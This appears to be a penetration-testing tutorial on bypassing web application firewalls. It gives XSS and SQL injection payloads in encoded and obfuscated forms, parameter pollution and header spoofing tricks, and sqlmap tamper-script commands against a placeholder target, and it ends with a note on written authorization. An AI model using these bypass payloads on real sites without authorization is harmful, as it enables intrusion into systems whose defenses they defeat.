Web Application Firewalls (WAFs) are a common defensive layer in modern web infrastructure. They inspect HTTP traffic and block requests that match known attack signatures. For penetration testers, understanding how WAFs work — and how they can be bypassed — is essential both for demonstrating real-world attacker capabilities and for helping clients understand the limits of their defenses.
Detecting a WAF First
Before attempting bypasses, confirm a WAF is present and identify which one. wafw00f automates this:
pip install wafw00f
wafw00f https://target.com
Output:
[*] Checking https://target.com
[+] The site https://target.com is behind Cloudflare (Cloudflare Inc.)
[~] Number of requests: 2
wafw00f identifies over 180 WAF fingerprints by analyzing response headers, cookies, and behavior differences when it sends benign vs. malicious payloads. Knowing the specific WAF helps you choose the right bypass approach — Cloudflare, ModSecurity, Imperva, and AWS WAF all have different detection logic.
Manual WAF detection signs:
- Response code 403 or 406 on obviously malicious inputs
- Headers like
X-Sucuri-ID, X-Cache, CF-RAY
- Custom error pages mentioning “security” or “blocked”
- Response body changes between a normal request and one with
<script>alert(1)</script>
Encoding Bypasses
WAFs match string patterns. Encoding the payload changes its representation while the server decodes it back to the original string before processing.
URL Encoding
Standard: %3Cscript%3E = <script>
Double URL encoding confuses WAFs that only decode once:
%253Cscript%253E
The WAF decodes once: %3Cscript%3E — still encoded, not flagged. The app server decodes again: <script> — the actual payload executes.
HTML Entity Encoding (for XSS)
<script>alert(1)</script>
Some WAFs miss entity-encoded payloads while browsers render them faithfully.
Unicode and UTF-8 Variations
<script> (fullwidth characters, U+FF1C, U+FF1E)
<ſcript> (unicode lookalike characters)
Certain WAFs normalize ASCII only — unicode variants slip through and some parsers treat them as equivalent.
Base64 in Context
Some applications accept Base64 parameters. Encoding the payload:
eval(atob('YWxlcnQoMSk='))
SQL Injection Bypasses
Case Variation
-- Blocked:
SELECT * FROM users
-- Bypass attempts:
SeLeCt * FrOm users
sElEcT * fRoM users
Many WAF rules are case-sensitive regex patterns.
MySQL supports inline comments that are ignored by the SQL engine but break WAF patterns:
-- Blocked:
UNION SELECT
-- Bypass:
UNION/**/SELECT
UN/*comment*/ION SEL/**/ECT
UNION%0aSELECT (newline instead of space)
Whitespace Substitution
SQL accepts multiple whitespace characters:
UNION%09SELECT (tab)
UNION%0dSELECT (carriage return)
UNION%0aSELECT (newline)
UNION%a0SELECT (non-breaking space)
Keyword Alternatives
-- Instead of OR:
||
-- Instead of AND:
&&
-- Instead of SPACE:
/**/
-- Instead of =:
LIKE
HTTP Parameter Pollution (HPP)
Many WAFs inspect the first or last occurrence of a parameter, while the application uses a different one.
GET /search?q=normal&q=<script>alert(1)</script>
If the WAF checks only the first q parameter (seeing “normal”) but the app uses the last value, the XSS passes through.
Test both orderings:
?q=<xss>&q=safe
?q=safe&q=<xss>
HPP effectiveness varies significantly by framework. PHP typically uses the last value, ASP.NET concatenates with commas, and Node.js varies by library.
X-Forwarded-For Spoofing
Some WAFs skip inspection for traffic appearing to originate from trusted IPs:
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
Chunked Transfer Encoding
Breaking the request body into chunks can confuse WAFs that buffer the full body before inspecting:
Transfer-Encoding: chunked
5
hello
6
world
0
sqlmap Tamper Scripts
sqlmap includes built-in tamper scripts that automatically apply WAF bypass transformations to payloads:
# List available tamper scripts
sqlmap --list-tampers
# Use multiple tamper scripts
sqlmap -u "https://target.com/page?id=1" \
--tamper=space2comment,between,randomcase \
--dbs
| Tamper Script | What It Does |
|---|
space2comment | Replaces spaces with /**/ |
between | Replaces > with NOT BETWEEN 0 AND |
randomcase | Randomizes letter case |
charencode | URL-encodes characters |
chardoubleencode | Double URL-encodes |
base64encode | Base64-encodes the payload |
equaltolike | Replaces = with LIKE |
apostrophemask | Replaces ' with UTF-8 variant |
Combine multiple scripts separated by commas — sqlmap applies them in order.
Custom tamper script example:
# mytamper.py
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
# Replace UNION with UN/**/ION
return payload.replace("UNION", "UN/**/ION")
sqlmap -u "https://target.com/?id=1" --tamper=mytamper --dbs
Timing and Rate Considerations
Some WAFs use rate limiting and behavioral analysis rather than signature matching. For these:
# Add delays between sqlmap requests
sqlmap -u "https://target.com/?id=1" --delay=2 --safe-freq=3
# Randomize user agent
sqlmap --random-agent
# Use a lower request rate
sqlmap --time-sec=5
Path Normalization Tricks
Web servers often normalize paths before passing them to the application:
/admin/../admin/config # normalized to /admin/config
/admin%2fconfig # URL-encoded slash
/ADMIN/CONFIG # case — works on case-insensitive servers
A WAF blocking /admin/ might not block /%61dmin/ (URL-encoded ‘a’).
Important Ethical Boundaries
WAF bypass research should only occur against systems where you have explicit written authorization. Demonstrating bypass capability in a penetration test report — along with specific bypass payloads — gives the client concrete evidence of what their WAF fails to catch, enabling meaningful security improvements. This is the legitimate purpose of this knowledge.